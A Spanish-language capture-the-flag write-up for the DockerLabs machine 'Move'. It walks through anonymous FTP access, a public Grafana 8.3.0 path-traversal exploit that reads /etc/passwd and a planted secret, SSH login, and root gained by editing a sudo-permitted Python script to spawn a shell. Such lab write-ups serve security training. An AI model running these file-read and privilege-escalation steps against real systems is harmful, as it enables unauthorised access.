> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/move.md).

# Move

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone FTP anonimo, SSH, una web Apache y un panel Grafana.

La cadena empieza con un `database.kdbx` accesible desde FTP. Despues, la enumeracion de Grafana permite aprovechar una lectura arbitraria de archivos para leer `/etc/passwd`, identificar al usuario `freddy` y recuperar un secreto ubicado en `/tmp/pass.txt`.

Con el acceso SSH conseguido, la escalada final es directa: `freddy` puede ejecutar `/usr/bin/python3 /opt/maintenance.py` como cualquier usuario sin password. Como el script es editable, se modifica para lanzar una shell y se ejecuta con `sudo` hasta obtener `root`.

***

## Reconocimiento

Comenzamos con un escaneo completo de puertos y versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

![](/files/g12bxOpXmwBkujtqfjFx)

El escaneo muestra varios servicios abiertos:

| Puerto   | Servicio | Version / comentario                   |
| -------- | -------- | -------------------------------------- |
| 21/tcp   | FTP      | vsftpd 3.0.3, acceso anonimo permitido |
| 22/tcp   | SSH      | OpenSSH 9.6p1 Debian                   |
| 80/tcp   | HTTP     | Apache 2.4.58 Debian                   |
| 3000/tcp | HTTP     | Grafana 8.3.0                          |

En FTP destaca el directorio `mantenimiento`, marcado como escribible por el propio script de Nmap.

***

## FTP anonimo

Entramos al FTP usando el usuario `anonymous`:

```bash
ftp 172.17.0.2
```

![](/files/V204sY0BigxL4qejWfMX)

Dentro aparece el directorio `mantenimiento`. Al entrar, encontramos una base de datos KeePass:

```
database.kdbx
```

La descargamos con:

```ftp
get database.kdbx
```

Al revisar el puerto `3000` desde el navegador vemos un panel Grafana:

![](/files/dP6EUPFld4nNLQcILvZN)

Tambien intentamos abrir la base descargada con KeePassXC, pero se encuentra bloqueada y requiere contrasena:

![](/files/QhdY33Y0Q6ig0NhHhuak)

***

## Enumeracion de Grafana

Lanzamos Gobuster contra Grafana para identificar rutas interesantes:

```bash
gobuster dir -u http://172.17.0.2:3000 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60 --exclude-length 29
```

![](/files/c9hyx13he7o2hW0LSv63)

La enumeracion confirma rutas tipicas de Grafana, como `login`, `signup`, `public`, `api` y `robots.txt`. La version detectada por Nmap, Grafana `8.3.0`, es vulnerable a lectura arbitraria de archivos mediante path traversal.

Probamos la vulnerabilidad con un exploit publico:

```bash
python3 50581.py -H http://172.17.0.2:3000
```

Primero leemos `/etc/passwd`:

```
Read file > /etc/passwd
```

![](/files/jsZAsr8FTt9saqjpVBiy)

El archivo confirma la existencia del usuario local `freddy`:

```
freddy:x:1000:1000::/home/freddy:/bin/bash
```

***

## Secreto en `/tmp`

Tambien enumeramos la web del puerto 80:

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

![](/files/rvuRw2tPEaQIdjR5dyf2)

Entre los resultados aparece `maintenance.html`. Al visitarlo, la pagina deja una pista directa:

![](/files/CMlyujbORTlHZq4zAgei)

```
Website under maintenance, access is in /tmp/pass.txt
```

Volvemos al exploit de Grafana y leemos el archivo indicado:

```
Read file > /tmp/pass.txt
```

![](/files/n5aWVmV7mElctzUO168H)

El secreto recuperado es:

```
t9sH76ggQB2UFeZ3GXZS
```

Con este secreto se completa la parte de acceso: se puede usar para desbloquear la informacion necesaria de la base KeePass descargada desde FTP y obtener las credenciales del usuario `freddy`.

***

## Acceso por SSH

Con el usuario `freddy` identificado en `/etc/passwd` y las credenciales recuperadas, entramos por SSH:

```bash
ssh freddy@172.17.0.2
```

![](/files/Jl32IxeMeex4xSbmfNhA)

Ya tenemos una shell como `freddy`.

***

## Escalada de privilegios

Revisamos los permisos de `sudo`:

```bash
sudo -l
```

![](/files/nLqn1OfDPGVLm7foaFFT)

El usuario puede ejecutar el siguiente comando como cualquier usuario sin password:

```
(ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance.py
```

Como el script `/opt/maintenance.py` es editable, lo modificamos para ejecutar una shell:

```python
import os
os.system("/bin/bash")
```

![](/files/AKxd0lmCiGwAXVZWY9WB)

Finalmente ejecutamos el script con `sudo`:

```bash
sudo /usr/bin/python3 /opt/maintenance.py
```

![](/files/r4gd0Ue6aXFAIZVqGk3x)

La shell resultante pertenece a `root`.

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para detectar FTP, SSH, HTTP y Grafana.
2. Acceso anonimo al FTP.
3. Descarga de `database.kdbx` desde el directorio `mantenimiento`.
4. Identificacion de Grafana 8.3.0 en el puerto `3000`.
5. Enumeracion de rutas de Grafana con Gobuster.
6. Abuso de lectura arbitraria de archivos para leer `/etc/passwd`.
7. Identificacion del usuario `freddy`.
8. Enumeracion del puerto 80 y descubrimiento de `maintenance.html`.
9. Lectura de `/tmp/pass.txt` mediante el mismo fallo de Grafana.
10. Uso del secreto recuperado junto a la base KeePass para obtener acceso como `freddy`.
11. Acceso por SSH.
12. Revision de permisos con `sudo -l`.
13. Modificacion de `/opt/maintenance.py` para ejecutar `/bin/bash`.
14. Ejecucion del script con `sudo` para obtener shell como `root`.

| Usuario | Credencial / metodo                          | Resultado          |
| ------- | -------------------------------------------- | ------------------ |
| freddy  | Secreto de `/tmp/pass.txt` y `database.kdbx` | Acceso SSH         |
| root    | `sudo /usr/bin/python3 /opt/maintenance.py`  | Shell privilegiada |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/move.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
